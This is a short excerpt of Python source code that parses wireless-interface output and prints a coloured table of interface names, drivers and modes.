e) 473 | return [] 474 | 475 | iface_details = [] 476 | iface_name = '' 477 | mode = '' 478 | for line in output.split('\n'): 479 | if line and not line.startswith(' '): 480 | if iface_name: 481 | driver_name = get_driver_name(iface_name) 482 | iface_details.append((iface_name, driver_name, mode)) 483 | iface_name = line.split()[0] 484 | mode = '' 485 | elif 'Mode:' in line: 486 | mode = line.split('Mode:')[1].split()[0] 487 | 488 | if iface_name: 489 | driver_name = get_driver_name(iface_name) 490 | iface_details.append((iface_name, driver_name, mode)) 491 | 492 | return iface_details 493 | 494 | def show_interfaces(interfaces): 495 | max_len_iface = max(len(iface[0]) for iface in interfaces) if interfaces else 0 496 | max_len_driver = max(len(iface[1]) for iface in interfaces) if interfaces else 0 497 | 498 | print(f"""{cc.GREEN}{cc.BRIGHT}ID Name Driver Mode{cc.RESET}""") 499 | print(f"{cc.GREEN}──────────────────────────────────────────────────────{cc.RESET}") 500 | for index, (iface, driver, mode) in enumerate(interfaces, start=1): 501 | formatted_iface = f"{cc.BRIGHT}{cc.BLUE}{index}) {iface.ljust(max_len_iface)} {driver.ljust(max_len_driver)} {mode}" 502 | print(formatted_iface) 503 | print(f"{cc.GREEN}──────────────────────────────────────────────────────{cc.RESET}") 504 | --------------------------------------------------------------------------------